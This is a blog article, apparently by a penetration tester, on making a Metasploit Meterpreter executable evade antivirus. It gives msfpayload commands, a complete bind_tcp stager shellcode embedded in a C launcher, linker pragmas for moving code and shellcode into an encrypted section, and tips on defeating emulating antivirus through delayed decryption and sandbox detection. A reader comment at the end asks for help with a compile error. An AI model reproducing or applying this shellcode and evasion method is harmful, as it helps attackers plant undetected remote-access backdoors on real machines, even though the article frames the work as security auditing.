I. Introduction.

As a security professional, I often have to audit the security of a system and demonstrate what malwares could do. A very simple way to do that is to use Metasploit Meterpreter. For those who doesn’t know Meterpreter (the Meta_Interpreter), it is a very advanced payload provided by the Metasploit framework. It provides all features one needs to own a system (privilege elevation, system shell, keylogger, dump password, network routing, disable AV, control webcam, etc).
I often need to generate an autonomous executable which includes this payload. The problem is that the classical way to generate Meterpreter executable is detected by AntiVirus and it is a pain (and not really realistic) to have to disable them. This article describes a way to bypass AV detection of Meterpreter by applying the "Code segment encryption" article.

Note : I will demonstrate this article examples by using the simple Meterpreter Bind_TCP shellcode (Open a server TCP socket on the host and waits for a connection from Metasploit client). Any other shellcode could be used.

II. Classic way to generate Meterpreter executable

II.1Generate binary

Normally the classic way to generate a Meterpreter executable is to use tools provided by Metasploit. The Msfpayload tool can be used for that. For example:msfpayload windows/meterpreter/bind_tcp LPORT=80 X > met.exe
Here the X option is used to generate executable file.

II.2 Drawbacks

This MsfEncode technique is often presented as a way to bypass AntiVirus analysis, this is however not true anymore. A good number of AntiVirus are able to recognized encoded shellcodes from Metasploit. Also some AntiVirus may have generated signature for executable generated with the X option of msfPayload (this is just a supposition tough).
Another reason why I do not like this method : I prefer to have non-encoded stagers. When I use reverse connection payloads, I want to be able to dynamically patch the shellcode distant IP address and port in the running executable. This isn’t easy if the shellcode is encoded.
For these reasons I prefer to build my own executable file which embeds the shellcode.

III. Put Meterpreter shellcode in C source

III.1 Generate shellcode

In a first step we are going to generate the Meterpreter shellcode. We are going to use the C option of MsfPayload which generates C source code.

msfpayload windows/meterpreter/bind_tcp LPORT=80 C > met.c

If you look inside the met.c file you will see shellcode buffers in C language. The stager is the first shellcode (the small one), it is the one we need to create the network connection. The full Meterpreter shellcode will be downloaded after connection is established. We will copy the stager in our source.

III.2 Source code

In this very basic example, we tell the application that our shellcode is a function and we call that function.

/*

* windows/meterpreter/bind_tcp - 298 bytes (stage 1)

* http://www.metasploit.com

* VERBOSE=false, LPORT=80, RHOST=, EnableStageEncoding=false,

* PrependMigrate=false, EXITFUNC=process, AutoLoadStdapi=true,

* InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,

* EnableUnicodeEncoding=true

*/

unsignedchar buf[]=

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"

"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"

"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"

"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"

"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"

"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"

"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"

"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"

"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"

"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"

"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"

"\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"

"\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"

"\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"

"\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"

"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"

"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"

"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";

/* Launch the meterpreter shellcode */

int main()

{

/* Declare pointer on function */

int(*func)();

/* Cast shellcode into function */

func =(int(*)()) buf;

/* Call function (Execute shellcode) */

(int)(*func)();

}

We now have our own executable running Meterpreter, however this is not enough to bypass AV (the shellcode will be easily recognized in the generated binary file). This is why we are going to use section encryption technique explained in code segment encyption article

IV. Bypass AV

We are going to encrypt both the executable code (what is in main function) and the data (the shellcode).

IV.1 Encrypt source code

The source code is normally in the .text section. Since encrypting the whole .text section can be considered to be a malware for some AV, I will just encrypt the code needed to launch the shell code using a new code section, .code.

// Create a new executable section

#pragma section(".code",execute, read, write)

#pragma comment(linker,"/SECTION:.code,ERW")

// From here executable code will go in .code section

#pragma code_seg(".code")

...

/* Launch the meterpreter shellcode */

int shellLaunch()

{

...

}

Note that the old main function is now called shellLaunch. Since we encrypt only part of the .text section we can just define a new main function that will contain the decryptor part.

IV.2 Encrypt shellcode

The shellcode is an array, it will be located in the .data section. Since we only want to encrypt a portion of .data section we will need to create a new data segment for that (.codedata). We will then merge the .codedata in to the .code section. The .code section being the section encrypted by cryptor in the Encrypt code segment article.

// Create a new section (must not be executable or else not considered as data)

#pragma section(".codedata", read, write)

// Merge .codedata into .code (which will be encrypted by cryptor)

#pragma comment(linker,"/MERGE:.codedata=.code")

// This will put all following constants and global variables in .codedata segment

#pragma data_seg(".codedata")

#pragma const_seg(".codedata")

I also use .codedata as a constant section, this will allow to encrypt strings you could want to print.

IV.3 Complete source code including decryptor

Here is the complete C source code including the .Stub segment and the decryptor routine.

IV.4 Other considerations

The result of the encryption is enough to bypass the AV such as Avira, McAffee, Norton or Avast.
This is however not enough to bypass AntiVirus which loads the software in memory such as Microsoft Defender. This kind or AV will run their target in a virtual environment , that means the code will be self decrypted, and after that the AV will recognize the shellcode signature. This was actually something quite surprising for me to see, for this case at least: Microsoft had a "better" security product.There are some ways to bypass this category of AV, for example by using a decryptor that takes some time to decrypt. If the decryptor method is coded in a way that you need to wait a few seconds before shellcode is decrypted, the AV will abandon the scan after a while.There are several ways to do it, for example using special time challenge decryption algorithm. A simple Sleep will not do the trick and be ignored by the AV. Another way to bypass this AV technique is to detect the software is running in a sandbox environment and to trick the AV if it is the case.

I wrote a paper on this subject with description of fully undetectable methods. You can find it here

1 Forum posts

hello , i thank you for this article but when i test this code i get error :
Error 2 error C2440: ’type cast’ : cannot convert from ’unsigned char [299]’ to ’int (__cdecl *)(void)’
i think it’s compiler protection no ? can you please help me out

Any message or comments?

pre-moderation

This forum is moderated before publication: your contribution will only appear after being validated by an administrator.